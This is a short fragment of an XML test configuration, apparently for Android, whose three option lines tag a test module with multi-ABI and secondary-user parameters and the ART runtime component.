     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />